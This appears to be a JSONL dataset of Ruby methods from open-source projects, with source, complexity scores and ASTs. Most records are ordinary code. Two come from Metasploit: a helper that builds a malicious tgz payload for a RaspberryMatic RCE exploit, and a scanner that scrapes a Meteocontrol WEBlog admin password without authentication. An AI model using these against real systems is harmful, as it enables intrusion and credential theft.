{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/features/backlogs/change_status_spec.rb","start_line":85,"raw_source":"def expect_fields(enabled: [], disabled: [], none: [])\n    enabled.each do |field|\n      expect(page).to have_field(WorkPackage.human_attribute_name(field))\n    end\n\n    disabled.each do |field|\n      expect(page).to have_field(WorkPackage.human_attribute_name(field), disabled: true)\n    end\n\n    none.each do |field|\n      expect(page).to have_no_field(WorkPackage.human_attribute_name(field), visible: :all)\n    end\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"enabled\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"disabled\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"none\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"human_attribute_name\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"human_attribute_name\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"none\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_field\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"human_attribute_name\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]}]}]}]}]}","id":"6a389c34-90c8-4b7f-8dbe-ecc66ce6c82a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_card_serializer.rb","start_line":132,"raw_source":"def muted\n    scope_muted_user_ids = scope.user&.muted_user_ids || []\n    scope_muted_user_ids.include?(object.id)\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"muted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope_muted_user_ids\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"user\"]},\"muted_user_ids\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope_muted_user_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]}]}","id":"9f95c7cc-e6d8-48a6-94c2-16e28b1ee690"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb","start_line":82,"raw_source":"def create_malicious_tgz(payload, fpath)\n    tarfile = StringIO.new\n    Rex::Tar::Writer.new tarfile do |tar|\n      tar.add_file(fpath.to_s, 0o777) do |io|\n        io.write payload\n      end\n    end\n    # tarfile.rewind\n    # tarfile.close\n\n    Rex::Text.gzip(tarfile.string)\n  end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"create_malicious_tgz\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"fpath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tarfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Tar\"]},\"Writer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"tarfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tar\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar\"]},\"add_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]},\"to_s\"]},{\"type\":\"int\",\"children\":[511]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"gzip\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tarfile\"]},\"string\"]}]}]}]}","id":"d731a23b-08e5-4357-b4aa-7a868b04cd52"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2946,"raw_source":"def group_callouts_by_feature_name\n    @group_callouts_by_feature_name ||= group_callouts.index_by(&:source_feature_name)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group_callouts_by_feature_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group_callouts_by_feature_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_callouts\"]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_feature_name\"]}]}]}]}]}","id":"38c5d100-eb80-4ea6-a152-2ff86a1da684"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb","start_line":79,"raw_source":"def do_extract()\n    print_status(\"#{rhost}:#{rport} - Attempting to extract Administrator password...\")\n    begin\n      res = send_request_cgi({\n        'uri' => '/html/en/confAccessProt.html',\n        'method' => 'GET'\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE\n      print_error(\"#{rhost}:#{rport} - HTTP Connection Failed...\")\n      return\n    end\n\n    if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body =~ /Admin Monitoring/))\n      get_admin_password = res.body.match(/name=\"szWebAdminPassword\" value=\"(.*?)\"/)\n      if get_admin_password[1]\n        admin_password = get_admin_password[1]\n        print_good(\"#{rhost}:#{rport} - Password is #{admin_password}\")\n        report_cred(\n          ip: rhost,\n          port: rport,\n          service_name: 'Meteocontrol WEBlog Management Portal',\n          password: admin_password,\n          proof: res.body\n        )\n      else\n        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.\n        print_error(\"Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.\")\n      end\n    else\n      print_error(\"Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.\")\n    end\n  end","complexity_score":50.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_extract\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Attempting to extract Administrator password...\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/html/en/confAccessProt.html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - HTTP Connection Failed...\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"szWebAdminPassword\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin Monitoring\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"get_admin_password\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\\\"szWebAdminPassword\\\" value=\\\"(.*?)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"get_admin_password\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"get_admin_password\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Password is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_password\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Meteocontrol WEBlog Management Portal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"admin_password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Check login manually on http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Check login manually on http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\"/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.\"]}]}]}]}]}]}","id":"19f02a64-70b4-452b-9821-dfa338079ead"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/feature_flag.rb","start_line":70,"raw_source":"def all\n      Flipper.features.to_h { |feature| [feature.name.to_sym, feature.state] }\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flipper\"]},\"features\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"name\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"state\"]}]}]}]}","id":"db490a51-834a-4bcb-8abd-a78f19a151ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/counters/flush_stale_counter_increments.rb","start_line":27,"raw_source":"def filtered_counters(scope, attribute)\n        counters = {}\n        keys = scope.map { |counter_record| counter_record.counter(attribute).key }\n\n        values = Gitlab::Redis::SharedState.with do |redis|\n          if Gitlab::Redis::ClusterUtil.cluster?(redis)\n            Gitlab::Redis::ClusterUtil.batch_get(keys, redis)\n          else\n            redis.mget(*keys)\n          end\n        end\n\n        values.each_with_index do |value, index|\n          next if value.nil?\n\n          key = keys[index]\n          counter_record = scope[index]\n          counters[key] = counter_record.counter(attribute)\n        end\n        counters\n      end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filtered_counters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counters\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"counter_record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter_record\"]},\"counter\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"ClusterUtil\"]},\"cluster?\",{\"type\":\"lvar\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"ClusterUtil\"]},\"batch_get\",{\"type\":\"lvar\",\"children\":[\"keys\"]},{\"type\":\"lvar\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"mget\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counter_record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter_record\"]},\"counter\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"counters\"]}]}]}","id":"711642ba-c184-42ac-b818-7cf4f81472e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/users/base_dismissible_alert_component.rb","start_line":75,"raw_source":"def verify_field_presence!(dismiss_option_key)\n      return if dismiss_options[dismiss_option_key].present?\n\n      raise ArgumentError, \"dismiss_options[#{dismiss_option_key.inspect}] is required\"\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_field_presence!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dismiss_option_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dismiss_options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"dismiss_option_key\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"dismiss_options[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dismiss_option_key\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"] is required\"]}]}]}]}]}","id":"c62f6d82-e887-49e0-9454-907b7b2b4bd3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transactions_test.rb","start_line":777,"raw_source":"def test_callback_rollback_in_create_with_record_invalid_exception\n    topic = Class.new(Topic) {\n      def after_create_for_transaction\n        raise ActiveRecord::RecordInvalid.new(Author.new)\n      end\n    }\n\n    new_topic = topic.create(title: \"A new topic\")\n    assert_not new_topic.persisted?, \"The topic should not be persisted\"\n    assert_nil new_topic.id, \"The topic should not have an ID\"\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_callback_rollback_in_create_with_record_invalid_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Topic\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"after_create_for_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"new\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"A new topic\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_topic\"]},\"persisted?\"]},{\"type\":\"str\",\"children\":[\"The topic should not be persisted\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_topic\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"The topic should not have an ID\"]}]}]}]}","id":"65743b9a-cce9-40c9-8946-ed0dc30914d4"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":667,"raw_source":"def initialize(name)\n      @name = name\n      @_size = size\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@_size\",{\"type\":\"send\",\"children\":[null,\"size\"]}]}]}]}","id":"de3b163d-b6c5-417a-b09c-d6b43e583721"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/timelines/home_controller.rb","start_line":35,"raw_source":"def home_statuses\n    account_home_feed.get(\n      limit_param(DEFAULT_STATUSES_LIMIT),\n      params[:max_id],\n      params[:since_id],\n      params[:min_id]\n    )\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"home_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_home_feed\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES_LIMIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"since_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_id\"]}]}]}]}","id":"61471901-f3be-4034-b09f-e2d39fdf7cf5"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":84,"raw_source":"def proppatch(path, opts = {}, &bk) route 'PROPPATCH', path, opts, &bk end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"proppatch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"bk\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"PROPPATCH\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bk\"]}]}]}]}","id":"863a853b-5e73-42f4-8173-d88fdd963663"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/direct_uploads_controller.rb","start_line":6,"raw_source":"def create\n    return if @contact.nil? || @current_account.nil?\n\n    super\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_account\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"780ac203-5981-4cc1-bb37-5c3331161140"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":933,"raw_source":"def test_eager_with_default_scope_as_class_method_using_find_method\n    david = developers(:david)\n    developer = EagerDeveloperWithClassMethodDefaultScope.find(david.id)\n    projects = Project.order(:id).to_a\n    assert_no_queries do\n      assert_equal(projects, developer.projects)\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_with_default_scope_as_class_method_using_find_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EagerDeveloperWithClassMethodDefaultScope\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"projects\"]}]}]}]}]}","id":"0f04ab7f-d8d8-47be-a027-c1428a7bd784"}
